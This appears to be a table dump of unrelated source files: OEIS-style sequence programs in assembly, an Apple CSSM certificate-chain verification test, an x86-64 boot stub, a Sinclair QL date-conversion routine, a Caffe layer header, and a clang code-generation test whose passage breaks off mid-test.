text stringlengths 1 1.05M |
|---|
; A139189: a(n) = prime(n)!-1.
; 1,5,119,5039,39916799,6227020799,355687428095999,121645100408831999,25852016738884976639999,8841761993739701954543615999999,8222838654177922817725562879999999
seq $0,6005 ; The odd prime numbers together with 1.
mov $2,$0
lpb $0
sub $0,2
add $1,$0
mul $2,$1
lpe
sub $2,1
mul $0,$2
mul $0,2
add $0,1
|
; A257942: a(n) = (n+1)*(n+2)/A014695(n+1), where A014695 is repeat (1, 2, 2, 1).
; 1,3,12,20,15,21,56,72,45,55,132,156,91,105,240,272,153,171,380,420,231,253,552,600,325,351,756,812,435,465,992,1056,561,595,1260,1332,703,741,1560,1640,861,903,1892,1980,1035,1081,2256,2352,1225,1275,2652,2756,1431,1485,3080,3192,1653,1711,3540,3660,1891,1953,4032,4160,2145,2211,4556,4692,2415,2485,5112,5256,2701,2775,5700,5852,3003,3081,6320,6480,3321,3403,6972,7140,3655,3741,7656,7832,4005,4095,8372,8556,4371,4465,9120,9312,4753,4851,9900,10100
add $0,2
bin $0,2
mov $2,2
gcd $2,$0
mul $0,$2
|
; A158646: a(n) = 54*n^2 + 1.
; 1,55,217,487,865,1351,1945,2647,3457,4375,5401,6535,7777,9127,10585,12151,13825,15607,17497,19495,21601,23815,26137,28567,31105,33751,36505,39367,42337,45415,48601,51895,55297,58807,62425,66151,69985,73927,77977,82135,86401,90775,95257,99847,104545,109351,114265,119287,124417,129655,135001,140455,146017,151687,157465,163351,169345,175447,181657,187975,194401,200935,207577,214327,221185,228151,235225,242407,249697,257095,264601,272215,279937,287767,295705,303751,311905,320167,328537,337015,345601,354295,363097,372007,381025,390151,399385,408727,418177,427735,437401,447175,457057,467047,477145,487351,497665,508087,518617,529255,540001,550855,561817,572887,584065,595351,606745,618247,629857,641575,653401,665335,677377,689527,701785,714151,726625,739207,751897,764695,777601,790615,803737,816967,830305,843751,857305,870967,884737,898615,912601,926695,940897,955207,969625,984151,998785,1013527,1028377,1043335,1058401,1073575,1088857,1104247,1119745,1135351,1151065,1166887,1182817,1198855,1215001,1231255,1247617,1264087,1280665,1297351,1314145,1331047,1348057,1365175,1382401,1399735,1417177,1434727,1452385,1470151,1488025,1506007,1524097,1542295,1560601,1579015,1597537,1616167,1634905,1653751,1672705,1691767,1710937,1730215,1749601,1769095,1788697,1808407,1828225,1848151,1868185,1888327,1908577,1928935,1949401,1969975,1990657,2011447,2032345,2053351,2074465,2095687,2117017,2138455,2160001,2181655,2203417,2225287,2247265,2269351,2291545,2313847,2336257,2358775,2381401,2404135,2426977,2449927,2472985,2496151,2519425,2542807,2566297,2589895,2613601,2637415,2661337,2685367,2709505,2733751,2758105,2782567,2807137,2831815,2856601,2881495,2906497,2931607,2956825,2982151,3007585,3033127,3058777,3084535,3110401,3136375,3162457,3188647,3214945,3241351,3267865,3294487,3321217,3348055
mov $1,$0
pow $1,2
mul $1,54
add $1,1
|
/* cgVerifyThr.cpp - simple version CertGroupVerify test */
#include "testParams.h"
#include <Security/cssm.h>
#include <utilLib/common.h>
#include <utilLib/cspwrap.h>
#include <clAppUtils/clutils.h>
#include <clAppUtils/tpUtils.h>
#include <clAppUtils/timeStr.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <Security/oidsalg.h>
/* for memory leak debug only, with only one thread running */
#define DO_PAUSE 0
/*** start of code directly copied from ../cgVerify/cgVerify.cpp ***/
#define NUM_CERTS_MIN 4
#define KEYGEN_ALG_DEF CSSM_ALGID_RSA
#define SIG_ALG_DEF CSSM_ALGID_SHA1WithRSA
#define LOOPS_DEF 10
#define CG_KEY_SIZE_DEFAULT CSP_RSA_KEY_SIZE_DEFAULT
#define SECONDS_TO_LIVE (60 * 60 * 24) /* certs are valid for this long */
#define CERT_IN_DB 0
/*
* How we define the "expected result".
*/
typedef enum {
ER_InvalidAnchor, // root in certGroup, not found in AnchorCerts
ER_RootInCertGroup, // root in certGroup, copy in AnchorCerts
ER_AnchorVerify, // end of chain verified by an anchor
ER_NoRoot // no root, no anchor verify
} ExpectResult;
static int testError()
{
char resp;
printf("Attach via debugger for more info.\n");
printf("a to abort, c to continue: ");
resp = getchar();
return (resp == 'a');
}
static int doTest(
CSSM_TP_HANDLE tpHand,
CSSM_CL_HANDLE clHand,
CSSM_CSP_HANDLE cspHand,
CSSM_DL_DB_HANDLE dlDb,
CSSM_DATA_PTR certs,
unsigned numCerts,
CSSM_BOOL useDb,
ExpectResult expectResult,
CSSM_BOOL verbose)
{
unsigned cgEnd; // last cert in certGroupFrag
unsigned anchorStart; // first cert in anchorGroup
unsigned anchorEnd; // last cert in anchorGroup
CSSM_CERTGROUP certGroupFrag; // INPUT to CertGroupVerify
CSSM_CERTGROUP anchorCerts; // ditto
unsigned die; // random number
CSSM_DL_DB_LIST dbList;
CSSM_DL_DB_LIST_PTR dbListPtr;
CSSM_DL_DB_HANDLE_PTR dlDbPtr;
CSSM_RETURN expErr; // expected rtn from GroupVfy()
int rtn = 0;
const char *expResStr;
uint32 expEvidenceSize; // expected evidenceSize
unsigned evidenceSize; // actual evidence size
CSSM_TP_VERIFY_CONTEXT_RESULT vfyResult;
CSSM_CERTGROUP_PTR outGrp = NULL;
CSSM_RETURN crtn;
memset(&vfyResult, 0, sizeof(CSSM_TP_VERIFY_CONTEXT_RESULT));
if(useDb) {
dlDbPtr = &dlDb;
dbList.NumHandles = 1;
dbList.DLDBHandle = &dlDb;
dbListPtr = &dbList;
}
else {
/* not yet */
dlDbPtr = NULL;
dbListPtr = NULL;
}
/* the four test cases */
switch(expectResult) {
case ER_InvalidAnchor:
/* root in certGroup, not found in AnchorCerts */
cgEnd = numCerts - 1; // certGroupFrag is the whole pile
anchorStart = 0; // anchors = all except root
anchorEnd = numCerts - 2;
expErr = CSSMERR_TP_INVALID_ANCHOR_CERT;
expEvidenceSize = numCerts;
expResStr = "InvalidAnchor (root in certGroup but not in anchors)";
break;
case ER_RootInCertGroup:
/* root in certGroup, copy in AnchorCerts */
cgEnd = numCerts - 1; // certGroupFrag = the whole pile
anchorStart = 0; // anchors = the whole pile
anchorEnd = numCerts - 1;
expErr = CSSM_OK;
expEvidenceSize = numCerts;
expResStr = "Good (root in certGroup AND in anchors)";
break;
case ER_AnchorVerify:
/* non-root end of chain verified by an anchor */
/* break chain at random place other than start and end-2 */
die = genRand(1, numCerts-3);
cgEnd = die; // certGroupFrag up to break point
anchorStart = 0; // anchors = all
anchorEnd = numCerts - 1;
expErr = CSSM_OK;
/* size = # certs in certGroupFrag, plus one anchor */
expEvidenceSize = die + 2;
expResStr = "Good (root ONLY in anchors)";
break;
case ER_NoRoot:
/* no root, no anchor verify */
/* break chain at random place other than start and end-1 */
die = genRand(1, numCerts-2);
cgEnd = die; // certGroupFrag up to break point
/* and skip one cert */
anchorStart = die + 2; // anchors = n+1...numCerts-2
// may be empty if n == numCerts-2
anchorEnd = numCerts - 1;
expErr = CSSMERR_TP_NOT_TRUSTED;
expEvidenceSize = die + 1;
expResStr = "Not Trusted (no root, no anchor verify)";
break;
}
if(verbose) {
printf(" ...expectResult = %s\n", expResStr);
}
/* cook up two cert groups */
if(verbose) {
printf(" ...building certGroupFrag from certs[0..%d]\n",
cgEnd);
}
if(tpMakeRandCertGroup(clHand,
dbListPtr,
certs, // certGroupFrag always starts at 0
cgEnd+1, // # of certs
&certGroupFrag,
CSSM_TRUE, // firstCertIsSubject
verbose,
CSSM_FALSE, // allInDbs
CSSM_FALSE)) { // skipFirstDb
printf("\nError in tpMakeRandCertGroup\n");
return 1;
}
if(anchorStart > anchorEnd) {
/* legal for ER_NoRoot */
if((expectResult != ER_NoRoot) || (anchorStart != numCerts)) {
printf("Try again, pal.\n");
exit(1);
}
}
if(verbose) {
printf(" ...building anchorCerts from certs[%d..%d]\n",
anchorStart, anchorEnd);
}
if(anchorEnd > (numCerts - 1)) {
printf("anchorEnd overflow\n");
exit(1);
}
/* anchors do not go in DB */
if(tpMakeRandCertGroup(clHand,
NULL,
certs + anchorStart,
anchorEnd - anchorStart + 1, // # of certs
&anchorCerts,
CSSM_FALSE, // firstCertIsSubject
verbose,
CSSM_FALSE, // allInDbs
CSSM_FALSE)) { // skipFirstDb
printf("\nError in tpMakeRandCertGroup\n");
return 1;
}
crtn = tpCertGroupVerify(
tpHand,
clHand,
cspHand,
dbListPtr,
&CSSMOID_APPLE_X509_BASIC, // Policy
NULL, // fieldOpts
NULL, // actionData
NULL, // policyOpts
&certGroupFrag,
anchorCerts.GroupList.CertList, // passed as CSSM_DATA_PTR, not CERTGROUP....
anchorCerts.NumCerts,
CSSM_TP_STOP_ON_POLICY,
NULL, // cssmTimeStr
&vfyResult);
/* first verify format of result */
if( (vfyResult.NumberOfEvidences != 3) ||
(vfyResult.Evidence == NULL) ||
(vfyResult.Evidence[0].EvidenceForm != CSSM_EVIDENCE_FORM_APPLE_HEADER) ||
(vfyResult.Evidence[1].EvidenceForm != CSSM_EVIDENCE_FORM_APPLE_CERTGROUP) ||
(vfyResult.Evidence[2].EvidenceForm != CSSM_EVIDENCE_FORM_APPLE_CERT_INFO) ||
(vfyResult.Evidence[0].Evidence == NULL) ||
(vfyResult.Evidence[1].Evidence == NULL) ||
(vfyResult.Evidence[2].Evidence == NULL)) {
printf("***Malformed VerifyContextResult\n");
return 1;
}
if((vfyResult.Evidence != NULL) && (vfyResult.Evidence[1].Evidence != NULL)) {
outGrp = (CSSM_CERTGROUP_PTR)vfyResult.Evidence[1].Evidence;
evidenceSize = outGrp->NumCerts;
}
else {
/* in case no evidence returned */
evidenceSize = 0;
}
/* %%% since non-root anchors are permitted as of <rdar://5685316>,
* the test assumptions have become invalid: these tests generate
* an anchors list which always includes the full chain, so by
* definition, the evidence chain will never be longer than 2,
* since the leaf's issuer is always an anchor.
* %%% need to revisit and rewrite these tests. -kcm
*/
if ((evidenceSize > 1) && (evidenceSize < expEvidenceSize) &&
(crtn == CSSM_OK || crtn == CSSMERR_TP_CERTIFICATE_CANT_OPERATE)) {
/* ignore, for now */
expErr = crtn;
expEvidenceSize = evidenceSize;
}
if((crtn != expErr) ||
(evidenceSize != expEvidenceSize)) {
printf("\n***cgVerify: Error on tpCertGroupVerify expectResult %s\n",
expResStr);
printf(" err %s expErr %s\n",
cssmErrToStr(crtn), cssmErrToStr(expErr));
printf(" evidenceSize %d expEvidenceSize %u\n",
evidenceSize, (unsigned)expEvidenceSize);
printf(" numCerts %d cgEnd %d anchorStart %d anchorEnd %d\n",
numCerts, cgEnd, anchorStart, anchorEnd);
rtn = testError();
}
else {
rtn = 0;
}
/* free resources */
tpFreeCertGroup(&certGroupFrag,
CSSM_FALSE, // caller malloc'd the actual certs
CSSM_FALSE); // struct is on stack
tpFreeCertGroup(&anchorCerts,
CSSM_FALSE, // caller malloc'd the actual certs
CSSM_FALSE); // struct is on stack
freeVfyResult(&vfyResult);
if(useDb) {
clDeleteAllCerts(dlDb);
}
return rtn;
}
/*** end of code directly copied from ../cgVerify/cgVerify.cpp ***/
/*
* For debug only - ensure that the given array of public keys are all unique
* Only saw this when using FEE RNG (i.e., no SecurityServer running).
*/
int comparePubKeys(
unsigned numKeys,
const CSSM_KEY *pubKeys)
{
unsigned i,j;
for(i=0; i<numKeys-1; i++) {
for(j=i+1; j<numKeys; j++) {
if(appCompareCssmData(&pubKeys[i].KeyData, &pubKeys[j].KeyData)) {
printf("***HEY! DUPLICATE PUBLIC KEYS in cgVerify!\n");
return testError();
}
}
}
return 0;
}
/*
* key pairs - created in cgConstructInit, stored in testParams->perThread
*/
typedef struct {
CSSM_KEY_PTR pubKeys;
CSSM_KEY_PTR privKeys;
unsigned numKeys;
char *notBeforeStr; // to use thread-safe tpGenCerts()
char *notAfterStr; // to use thread-safe tpGenCerts()
} TT_KeyPairs;
int cgVerifyInit(TestParams *testParams)
{
unsigned numKeys = NUM_CERTS_MIN + testParams->threadNum;
TT_KeyPairs *keyPairs;
if(testParams->verbose) {
printf("cgVerify thread %d: generating keys...\n",
testParams->threadNum);
}
keyPairs = (TT_KeyPairs *)CSSM_MALLOC(sizeof(TT_KeyPairs));
keyPairs->numKeys = numKeys;
keyPairs->pubKeys = (CSSM_KEY_PTR)CSSM_CALLOC(numKeys, sizeof(CSSM_KEY));
keyPairs->privKeys = (CSSM_KEY_PTR)CSSM_CALLOC(numKeys, sizeof(CSSM_KEY));
CSSM_DL_DB_HANDLE dlDbHand = {0, 0};
if(tpGenKeys(testParams->cspHand,
dlDbHand,
numKeys,
KEYGEN_ALG_DEF,
CG_KEY_SIZE_DEFAULT,
"cgVerify", // keyLabelBase
keyPairs->pubKeys,
keyPairs->privKeys)) {
goto abort;
}
if(comparePubKeys(numKeys, keyPairs->pubKeys)) {
return 1;
}
keyPairs->notBeforeStr = genTimeAtNowPlus(0);
keyPairs->notAfterStr = genTimeAtNowPlus(SECONDS_TO_LIVE);
testParams->perThread = keyPairs;
return 0;
abort:
printf("Error generating keys; aborting\n");
CSSM_FREE(keyPairs->pubKeys);
CSSM_FREE(keyPairs->privKeys);
CSSM_FREE(keyPairs);
return 1;
}
int cgVerify(TestParams *testParams)
{
unsigned loopNum;
int status = -1; // exit status
unsigned dex;
TT_KeyPairs *keyPairs = (TT_KeyPairs *)testParams->perThread;
/* all three of these are arrays with numCert elements */
CSSM_KEY_PTR pubKeys = keyPairs->pubKeys;
CSSM_KEY_PTR privKeys = keyPairs->privKeys;
CSSM_DATA_PTR certs = NULL;
unsigned numCerts = keyPairs->numKeys;
uint32 sigAlg = SIG_ALG_DEF;
ExpectResult expectResult;
#if CERT_IN_DB
CSSM_BOOL useDb = CSSM_TRUE;
#else
CSSM_BOOL useDb = CSSM_FALSE;
#endif
CSSM_DL_DB_HANDLE dlDbHand = {0, 0};
/* malloc empty certs */
certs = (CSSM_DATA_PTR)CSSM_CALLOC(numCerts, sizeof(CSSM_DATA));
if(certs == NULL) {
printf("not enough memory for %u certs.\n", numCerts);
goto abort;
}
memset(certs, 0, numCerts * sizeof(CSSM_DATA));
for(loopNum=0; loopNum<testParams->numLoops; loopNum++) {
/* generate certs */
if(testParams->verbose) {
printf("generating certs...\n");
}
else if(!testParams->quiet) {
printChar(testParams->progressChar);
}
if(tpGenCerts(testParams->cspHand,
testParams->clHand,
numCerts,
sigAlg,
"cgConstruct", // nameBase
pubKeys,
privKeys,
certs,
keyPairs->notBeforeStr,
keyPairs->notAfterStr)) {
goto abort;
}
/* cycle thru test scenarios */
switch(loopNum % 4) {
case 0:
expectResult = ER_InvalidAnchor;
break;
case 1:
expectResult = ER_RootInCertGroup;
break;
case 2:
expectResult = ER_AnchorVerify;
break;
case 3:
expectResult = ER_NoRoot;
break;
}
status = doTest(testParams->tpHand,
testParams->clHand,
testParams->cspHand,
dlDbHand,
certs,
numCerts,
useDb,
expectResult,
testParams->verbose);
if(status) {
break;
}
/* free certs */
for(dex=0; dex<numCerts; dex++) {
CSSM_FREE(certs[dex].Data);
}
memset(certs, 0, numCerts * sizeof(CSSM_DATA));
#if DO_PAUSE
fpurge(stdin);
printf("Hit CR to proceed: ");
getchar();
#endif
}
abort:
/* free resources */
for(dex=0; dex<numCerts; dex++) {
if(certs[dex].Data) {
CSSM_FREE(certs[dex].Data);
}
}
CSSM_FREE(keyPairs->pubKeys);
CSSM_FREE(keyPairs->privKeys);
CSSM_FREE(keyPairs);
return status;
}
|
global start
extern long_mode_start
section .text
bits 32
start:
mov esp, stack_top
mov edi, ebx ; Move Multiboot info pointer to edi
call check_multiboot
call check_cpuid
call check_long_mode
call set_up_page_tables
call enable_paging
; Map P4 table recursively
mov eax, p4_table
or eax, 0b11 ; Present + Writable
mov [p4_table + 511 * 8], eax
; Load 64bit global descriptor table
lgdt [gdt64.pointer]
jmp gdt64.code:long_mode_start
; Just print `OK` to the screen.
;mov dword [0xb8000], 0x2f4b2f4f
;hlt
; Prints `ERR: ` with the given code to screen,
; then hangs.
; Parameter: ASCII error code in al
error:
mov dword [0xb8000], 0x4f524f45
mov dword [0xb8004], 0x4f3a4f52
mov dword [0xb8008], 0x4f204f20
mov byte [0xb800a], al
hlt
; Multiboot-related checks
check_multiboot:
cmp eax, 0x36d76289
jne .no_multiboot
ret
.no_multiboot:
mov al, "0"
jmp error
; CPUID detection shamelessly copied from OSDev Wiki
; (http://wiki.osdev.org/Setting_Up_Long_Mode#Detection_of_CPUID)
check_cpuid:
; Check if CPUID is supported by attempting to flip the ID bit (bit 21)
; in the FLAGS register. If we can flip it, CPUID is available.
pushfd
pop eax ; Copy FLAGS in to EAX via stack
mov ecx, eax ; Copy to ECX as well for comparing later on
xor eax, 1 << 21 ; Flip the ID bit
push eax
popfd ; Copy EAX to FLAGS via the stack
; Copy FLAGS back to EAX (with the flipped bit if CPUID is supported)
pushfd
pop eax
; Restore FLAGS from the old version stored in ECX (i.e. flipping the
; ID bit back if it was ever flipped).
push ecx
popfd
; Compare EAX and ECX. If they are equal then that means the bit
; wasn't flipped, and CPUID isn't supported.
cmp eax, ecx
je .no_cpuid
ret
.no_cpuid:
mov al, "1"
jmp error
; Long mode detection also shamelessly copied from OSDev Wiki.
; (http://wiki.osdev.org/Setting_Up_Long_Mode#x86_or_x86-64)
check_long_mode:
; test if extended processor info in available
mov eax, 0x80000000 ; implicit argument for cpuid
cpuid ; get highest supported argument
cmp eax, 0x80000001 ; it needs to be at least 0x80000001
jb .no_long_mode ; if it's less, the CPU is too old for long mode
; use extended info to test if long mode is available
mov eax, 0x80000001 ; argument for extended processor info
cpuid ; returns various feature bits in ecx and edx
test edx, 1 << 29 ; test if the LM-bit is set in the D-register
jz .no_long_mode ; If it's not set, there is no long mode
ret
.no_long_mode:
mov al, "2"
jmp error
set_up_page_tables:
; Map first P4 entry to P3 table
mov eax, p3_table
or eax, 0b11 ; present + writable
mov [p4_table], eax
; Map first P3 entry to P2 table
mov eax, p2_table
or eax, 0b11 ; present + writable
mov [p3_table], eax
; Map each p2 entry to a huge 2MiB page
mov ecx, 0
.map_p2_table:
; Map ecx-th P2 entry to a huge page that starts
; at address 2MiB*ecx
mov eax, 0x200000 ; 2 MiB
mul ecx ; Start address of ecx-th page
or eax, 0b10000011 ; present + writable + huge
mov [p2_table + ecx * 8], eax ; Map ecx-th entry
inc ecx ; increase counter
cmp ecx, 512 ; if counter == 512, then everything is mapped
jne .map_p2_table ; else map next entry
ret
enable_paging:
; Load P4 address to cr3 register, which the CPU uses to access the table
mov eax, p4_table
mov cr3, eax
; Enable Physical Address Extension (PAE) flag in cr4
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
; Set long mode bit in EFER MSR (Model Specific Register)
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
; Enable paging in the cr0 register
mov eax, cr0
or eax, 1 << 31
mov cr0, eax
ret
section .bss
; Setup memory pages
align 4096
p4_table:
resb 4096
p3_table:
resb 4096
p2_table:
resb 4096
; Create the memory stack
stack_bottom:
resb 4096 * 4
stack_top:
section .rodata
gdt64:
dq 0 ; zero entry
.code: equ $ - gdt64
dq (1<<43) | (1<<44) | (1<<47) | (1<<53) ; code segment
.pointer:
dw $ - gdt64 - 1
dq gdt64
|
; Date Conversions, QL compatible 1990 Tony Tebby
section uq
xdef uq_ldate
xdef uq_ldowk
xdef uq_datel
xref cv_calst
xref cv_dnymd
xref cv_ymddn
include 'dev8_keys_qdos_sms'
include 'dev8_keys_msgc'
ql.zdate equ $7fffb7e9
;+++
; Push QL format date (20 character string) onto stack (a1,a6)
;
; d1 c p date
; a1 c p pointer to stack
;
; status return zero
;---
uq_ldate
uld.reg reg d1/d2/d3/a0
movem.l uld.reg,-(sp)
add.l a6,a1 ; OK for us
moveq #0,d3
lsr.l #1,d1
roxr.l #1,d3 ; keep lsb
divu #24*60*60/2,d1 ; date and time
swap d1
move.w d1,d3 ; time
rol.l #1,d3 ; ... corrected
clr.w d1
swap d1 ; date
add.l #ql.zdate,d1 ; in external format
bsr.s uld_p60 ; set seconds
move.b #':',-(a1)
bsr.s uld_p60 ; set minutes
move.b #':',-(a1)
bsr.s uld_p10 ; set hours
move.b #' ',-(a1)
moveq #0,d0
jsr cv_calst
jsr cv_dnymd ; set year month and day
move.l d1,d3
clr.w d3
swap d3
bsr.s uld_p10 ; set days
move.b #' ',-(a1)
move.l a1,-(sp)
move.w #msgc.mth3,a1 ; three letter months
moveq #sms.mptr,d0
trap #do.smsq
lea 2(a1),a0 ; set month
add.w d1,a0
add.w d1,a0
add.w d1,a0
move.l (sp)+,a1
move.b -(a0),-(a1)
move.b -(a0),-(a1)
move.b -(a0),-(a1)
move.b #' ',-(a1)
move.w d2,d3
bsr.s uld_p1k ; set year
move.w #20,-(a1) ; string length
sub.l a6,a1 ; and restore pointer
moveq #0,d0
movem.l (sp)+,uld.reg
rts
uld_p1k
moveq #10,d0
bsr.s uld_pdig ; fourth digit
bsr.s uld_pdig ; third digit
uld_p10
moveq #10,d0
bsr.s uld_pdig ; second digit
bra.s uld_prem ; ... and remainder
uld_p60
moveq #10,d0
bsr.s uld_pdig ; second of mod 60
moveq #6,d0 ; first of mod 60
uld_pdig
divu d0,d3 ; divide
swap d3 ; ... to get remainder
uld_prem
add.b #'0',d3
move.b d3,-(a1) ; put digit on stack
clr.w d3
swap d3
rts
;+++
; Push QL format doy of week (3 character string) onto stack (a1,a6)
;
; d1 c p date
; a1 c p pointer to stack
;
; status return zero
;---
uq_ldowk
udw.reg reg d1/a0
movem.l udw.reg,-(sp)
add.l a6,a1 ; we can do this!!
lsr.l #1,d1
divu #24*60*60/2,d1
moveq #0,d0
move.w d1,d0 ; day
divu #7,d0
move.l d0,d1
swap d1 ; ... of week
move.l a1,-(sp)
move.w #msgc.dow3,a1 ; three letter day of week
moveq #sms.mptr,d0
trap #do.smsq
lea 5(a1),a0 ; set day of week
add.w d1,a0
add.w d1,a0
add.w d1,a0
move.l (sp)+,a1
clr.b -(a1)
move.b -(a0),-(a1) ; ... and copied
move.b -(a0),-(a1)
move.b -(a0),-(a1)
move.w #3,-(a1) ; length
sub.l a6,a1
moveq #0,d0
movem.l (sp)+,udw.reg
rts
;+++
; convert year, month, day, hour, minute and second to long word
;
; d1 r date
; a1 c u pointer to 6 integers
;
; status return zero
;---
uq_datel
udl.reg reg d2
move.l d2,-(sp)
moveq #0,d2
move.w (a1)+,d2 ; year
move.l (a1)+,d1
swap d1 ; day and month
moveq #0,d0
jsr cv_calst
jsr cv_ymddn ; convert it
sub.l #ql.zdate,d1 ; ql base
moveq #24,d0
bsr.s udl_atime ; add hours
moveq #60,d0
bsr.s udl_atime ; add minutes
moveq #60,d0
bsr.s udl_atime ; add seconds
move.l (sp)+,d2
moveq #0,d0
rts
udl_atime
move.l d1,d2
clr.w d2
swap d2 ; msword date
mulu d0,d1 ; multiply both words
mulu d0,d2
swap d2 ; and add them
add.l d2,d1
move.w (a1)+,d0 ; ... then add time
add.l d0,d1
rts
end
|
#ifndef CAFFE_PREDICT_BOX_LAYER_HPP_
#define CAFFE_PREDICT_BOX_LAYER_HPP_
#include <utility>
#include <vector>
#include "caffe/blob.hpp"
#include "caffe/layer.hpp"
#include "caffe/proto/caffe.pb.h"
namespace caffe {
/**
* @brief Generate the detection output based on bounding box regression and
* confidence score.
*
* Intended for use with MultiBox detection method.
*
* NOTE: does not implement Backwards operation.
*/
template <typename Dtype>
class PredictBoxLayer : public Layer<Dtype> {
public:
explicit PredictBoxLayer(const LayerParameter& param)
: Layer<Dtype>(param) {}
virtual void LayerSetUp(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual void Reshape(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual inline const char* type() const { return "PredictBox"; }
protected:
/**
* @brief Get the bounding box output.
*
* @param bottom input Blob vector (exact 2)
* -# @f$ (1 \times 1 \times N \times 7) @f$
* N detection results.
* -# @f$ (1 \times 1 \times M \times 7) @f$
* M ground truth.
* @param top Blob vector (length 1)
* -# @f$ (1 \times 1 \times N \times 4) @f$
* N is the number of detections, and each row is:
* [image_id, label, confidence, true_pos, false_pos]
*/
virtual void Forward_cpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual void Forward_gpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
/// @brief Not implemented
virtual void Backward_cpu(const vector<Blob<Dtype>*>& top,
const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom);
virtual void Backward_gpu(const vector<Blob<Dtype>*>& top,
const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom);
int receptive_field_;
int stride_;
bool nms_;
bool bounding_box_regression_;
bool output_vector_;
Dtype positive_thresh_;
bool bounding_box_exp_;
Blob<Dtype> counter_;
bool use_stitch_;
};
} // namespace caffe
#endif // CAFFE_PREDICT_BOX_LAYER_HPP_
|
// RUN: %clang_cc1 -no-opaque-pointers %s -emit-llvm -o - -triple=x86_64-apple-darwin10 | FileCheck %s --check-prefix=CHECK --check-prefix=CHECK-NOCOMPAT
// RUN: %clang_cc1 -no-opaque-pointers %s -emit-llvm -o - -triple=x86_64-apple-darwin10 -fclang-abi-compat=6.0 | FileCheck %s --check-prefix=CHECK --check-prefix=CHECK-V6COMPAT
// RUN: %clang_cc1 -no-opaque-pointers %s -emit-llvm -o - -triple=x86_64-scei-ps4 | FileCheck %s --check-prefix=CHECK --check-prefix=CHECK-V6COMPAT
extern int int_source();
extern void int_sink(int x);
namespace test0 {
struct A {
int aField;
int bField;
};
struct B {
int onebit : 2;
int twobit : 6;
int intField;
};
struct __attribute__((packed, aligned(2))) C : A, B {
};
// These accesses should have alignment 4 because they're at offset 0
// in a reference with an assumed alignment of 4.
// CHECK-LABEL: @_ZN5test01aERNS_1BE
void a(B &b) {
// CHECK: [[CALL:%.*]] = call noundef i32 @_Z10int_sourcev()
// CHECK: [[B_P:%.*]] = load [[B:%.*]]*, [[B]]**
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK: [[TRUNC:%.*]] = trunc i32 [[CALL]] to i8
// CHECK: [[OLD_VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 4
// CHECK: [[T0:%.*]] = and i8 [[TRUNC]], 3
// CHECK: [[T1:%.*]] = and i8 [[OLD_VALUE]], -4
// CHECK: [[T2:%.*]] = or i8 [[T1]], [[T0]]
// CHECK: store i8 [[T2]], i8* [[FIELD_P]], align 4
b.onebit = int_source();
// CHECK: [[B_P:%.*]] = load [[B]]*, [[B]]**
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK: [[VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 4
// CHECK: [[T0:%.*]] = shl i8 [[VALUE]], 6
// CHECK: [[T1:%.*]] = ashr i8 [[T0]], 6
// CHECK: [[T2:%.*]] = sext i8 [[T1]] to i32
// CHECK: call void @_Z8int_sinki(i32 noundef [[T2]])
int_sink(b.onebit);
}
// These accesses should have alignment 2 because they're at offset 8
// in a reference/pointer with an assumed alignment of 2.
// CHECK-LABEL: @_ZN5test01bERNS_1CE
void b(C &c) {
// CHECK: [[CALL:%.*]] = call noundef i32 @_Z10int_sourcev()
// CHECK: [[C_P:%.*]] = load [[C:%.*]]*, [[C]]**
// CHECK: [[T0:%.*]] = bitcast [[C]]* [[C_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 8
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B]]*
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK: [[TRUNC:%.*]] = trunc i32 [[CALL]] to i8
// CHECK-V6COMPAT: [[OLD_VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: [[OLD_VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 4
// CHECK: [[T0:%.*]] = and i8 [[TRUNC]], 3
// CHECK: [[T1:%.*]] = and i8 [[OLD_VALUE]], -4
// CHECK: [[T2:%.*]] = or i8 [[T1]], [[T0]]
// CHECK-V6COMPAT: store i8 [[T2]], i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: store i8 [[T2]], i8* [[FIELD_P]], align 4
c.onebit = int_source();
// CHECK: [[C_P:%.*]] = load [[C]]*, [[C]]**
// CHECK: [[T0:%.*]] = bitcast [[C]]* [[C_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 8
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B]]*
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK-V6COMPAT: [[VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: [[VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 4
// CHECK: [[T0:%.*]] = shl i8 [[VALUE]], 6
// CHECK: [[T1:%.*]] = ashr i8 [[T0]], 6
// CHECK: [[T2:%.*]] = sext i8 [[T1]] to i32
// CHECK: call void @_Z8int_sinki(i32 noundef [[T2]])
int_sink(c.onebit);
}
// CHECK-LABEL: @_ZN5test01cEPNS_1CE
void c(C *c) {
// CHECK: [[CALL:%.*]] = call noundef i32 @_Z10int_sourcev()
// CHECK: [[C_P:%.*]] = load [[C]]*, [[C]]**
// CHECK: [[T0:%.*]] = bitcast [[C]]* [[C_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 8
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B]]*
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK: [[TRUNC:%.*]] = trunc i32 [[CALL]] to i8
